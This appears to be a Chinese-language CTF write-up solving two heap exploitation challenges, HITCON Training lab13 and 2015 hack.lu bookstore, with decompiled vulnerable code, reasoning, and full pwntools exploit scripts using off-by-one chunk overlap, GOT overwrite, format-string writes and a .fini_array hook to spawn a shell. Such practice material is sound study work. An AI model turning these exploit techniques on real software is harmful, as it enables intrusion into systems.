HITCON Trainging lab13
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13
grxer@grxer ~/D/c/p/heap> checksec heapcreator [*] '/home/grxer/Desktop/ctfwiki/pwn/heap/heapcreator' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
heaparray是一个在bss段的全局heap结构体数组
struct heap { size_t size ; char *content ; };
|
free后没有将content指针置零
在edit时还存在off by one漏洞
if ( heaparray[v1] ) { printf("Content of heap : "); read_input(heaparray[v1]->content, heaparray[v1]->size + 1); puts("Done !"); }
|
我们可以利用空间复用的机制改掉下一个chunk的size
create(0x18, b”one”)
create(0x10, b”two”)
会创建出4个0x20的chunk,其中one的chunk会利用two的pre_size来存放数据
这样我们编辑one的context就可以控制two的size
edit(0, “/bin/sh\x00” + “a” * 0x10 + “\x41”)
改为41
再释放two delete(1) 可以看到已经有了overlap的chunk
再申请一个堆块create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got[‘free’]))
这样我们的 *heap会申请到0x20的chunk,content会申请到0x40的chunk,我们的0x40chunk会overlap到0x20的chunk,从而控制其内容,我们把他的content指针改为got就,可以在show的时候输出地址
这样就可以得到system地址,这时候去edit two,就会修改free got里面内容,改为system,再去delete one,加上我们之前输入的binsh就可以拿到shell
exp
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./heapcreator' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y)) def create(size, content): io.recvuntil(b":") io.sendline(b"1") io.recvuntil(b":") io.sendline(str(size).encode()) io.recvuntil(b":") io.sendline(content) def edit(idx, content): io.recvuntil(b":") io.sendline(b"2") io.recvuntil(b":") io.sendline(str(idx).encode()) io.recvuntil(b":") io.sendline(content) def show(idx): io.recvuntil(b":") io.sendline(b"3") io.recvuntil(b":") io.sendline(str(idx).encode()) def delete(idx): io.recvuntil(b":") io.sendline(b"4") io.recvuntil(b":") io.sendline(str(idx).encode()) db('b *0x00400A43') create(0x18, b"one") create(0x10, b"two") edit(0, b"/bin/sh\x00" + b"a" * 0x10 + b"\x41")
delete(1) create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got['free'])) show(1) ru(b"Content : ") free_ad =u64(r(6).ljust(8,b'\x00')) p('free_addr',free_ad) libc=LibcSearcher('free',free_ad) base=free_ad-libc.dump('free') p('base',base) system=base+libc.dump('system') edit(1,p64(system)) delete(0) io.interactive()
|
2015 hacklu bookstore
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/2015_hacklu_bookstore
grxer@grxer ~/D/c/p/heap> checksec books_e_o [*] '/home/grxer/Desktop/ctfwiki/pwn/heap/books_e_o' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
大体思路
稍微看一下漏洞挺多的
- main函数里有格式化字符串漏洞
- delete_order函数里有uaf漏洞
- edit_order函数里有任意堆覆盖漏洞,可以进行overlap
堆我们不能自己申请,只能main前面申请了0x80大小的三个堆,后面submit时一个0x140堆
print(dest)
dest是第三个堆,我们可以利用先利用覆盖漏洞将第二个堆的size覆盖为0x150这样再delete这个堆就会把dest一块释放到bins,后面再submit申请时,就会申请到这个堆,submit这个堆是可以利用堆1和堆2中的值控制的,从而计算好偏移,控制dest,进一步利用格式化字符串漏洞
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2) { size_t v3; size_t v4; unsigned __int64 v7;
v7 = __readfsqword(0x28u); strcpy(all, "Order 1: "); v3 = strlen(order1); strncat(all, order1, v3); strcat(all, "\nOrder 2: "); v4 = strlen(order2); strncat(all, order2, v4); *(_WORD *)&all[strlen(all)] = '\n'; return __readfsqword(0x28u) ^ v7; }
|
利用格式化漏洞基本上都要先泄露地址,再布置改写地址,此题也不例外
} printf("%s", v5); printf(dest); return 0LL;
|
但是在格式化字符串漏洞之后,就会ret,无法再次利用,这就需要我们利用 fini_array hook掉执行流
fini_array hook
.init_array
和 .fini_array
中存放了指向初始化代码和终止代码的函数指针。
.init_array
会在main()函数调用前执行,这样可以通过修该地址的指针来将控制流指向病毒或者寄生代码,因为比main执行还早,大部分恶意软件都是hook这个,感觉c++的构造函数或许和这个相关
.fini_array
函数指针在 main() 函数执行完之后才被触发,感觉c++的析构函数或许和这个相关
在.init_array
array[0]->array[1]
在.fini_array
array[1]->array[0]
这样我们就可以二次利用漏洞进行改写地址
具体细节
刚开始的堆
payload = b”%”+str(2617).encode()+b”c%13$hn” + b’abc%51$p’ + b’def%26$p’
payload += b’A’*(0x74-len(payload))
payload=payload.ljust(0x88,b’\x00’)
payload += p64(0x151)
edit(1,payload)
覆盖size的堆
这里payload的%51是返回地址__libc_start_main+128的
为什么是0x74呢
这里submit函数可以看出他还进行拼接,正常的话需要0x90个字节到达dest内容,
‘Order 1:+
chunk1+
\n+
Order 2:+
Order 1: ’ 拼接导致他会多28个字节
0x90-28=0x74
我们再
delete(2)
payload2 = p8(0x0)*7 + p64(fini_array)
submit(payload2)
fgets(s, 128, stdin); switch ( s[0] ) { case '1': puts("Enter first
|
这里我们利用fget,的s是在栈上的,gdb得到fini_array被写到了格式化字符串第13个参数
0x400830和main地址 0x400A39只有一个字节的差距我们在第一个payload利用b”%”+str(2617).encode()+b”c%13$hn”改写为main,这样main ret是会再次返回到main
第一个pay的%26$p是
他和后面的返回地址已经下次hook返回到main的地址的返回地址的栈地址偏移是固定的
计算出来ret_bp=fixed-0x461-0x100
这样我们就可以改写这个main的返回地址为one_gadget地址
payload=b’%’+str(one_gadget&0xff).encode()+b’c%13$hhn%’+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b’c%14$hn’
print(payload)
payload += b’A’*(0x74-len(payload))
payload=payload.ljust(0x88,b’\x00’)
payload += p64(0x151)
edit(1,payload)
delete(2)
payload=p8(0x0)*7+p64(ret_bp)+p64(ret_bp+1)
submit(payload)
拿到shell
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./books_e_o' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y)) def edit(order, name): io.recvuntil(b'5: Submit\n') io.sendline(str(order).encode()) io.recvuntil(b' order:\n') io.sendline(name)
def delete(order): io.recvuntil(b'5: Submit\n') io.sendline(str(order + 2).encode())
def submit(payload): io.recvuntil(b'5: Submit\n') io.sendline(b'5' + payload) io.recvuntil(b'Order 1: ') io.recvuntil(b'Order 2: Order 1: ')
free_got = elf.got['free'] fini_array = 0x6011B8 main_addr = 0x400A39
payload = b"%"+str(2617).encode()+b"c%13$hn" + b'abc%51$p' + b'def%26$p' payload += b'A'*(0x74-len(payload)) payload=payload.ljust(0x88,b'\x00') payload += p64(0x151) edit(1,payload) delete(2) payload2 = p8(0x0)*7 + p64(fini_array) submit(payload2) ru(b'abc') ru(b'abc') __libc_start_main=int(r(14),16)-128 ru(b'def') fixed=int(r(14),16) p('__libc_start_main',__libc_start_main) p('fixed',fixed) libc=LibcSearcher('__libc_start_main',__libc_start_main) base=__libc_start_main-libc.dump('__libc_start_main') ret_bp=fixed-0x461-0x100 p('ret_bp',ret_bp) one_gadget=0xebcf5+base p('one_gadget',one_gadget)
print((one_gadget>>8)&0xffff) payload=b'%'+str(one_gadget&0xff).encode()+b'c%13$hhn%'+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b'c%14$hn' print(payload) payload += b'A'*(0x74-len(payload)) payload=payload.ljust(0x88,b'\x00') payload += p64(0x151) edit(1,payload) delete(2) payload=p8(0x0)*7+p64(ret_bp)+p64(ret_bp+1) submit(payload) io.interactive()
|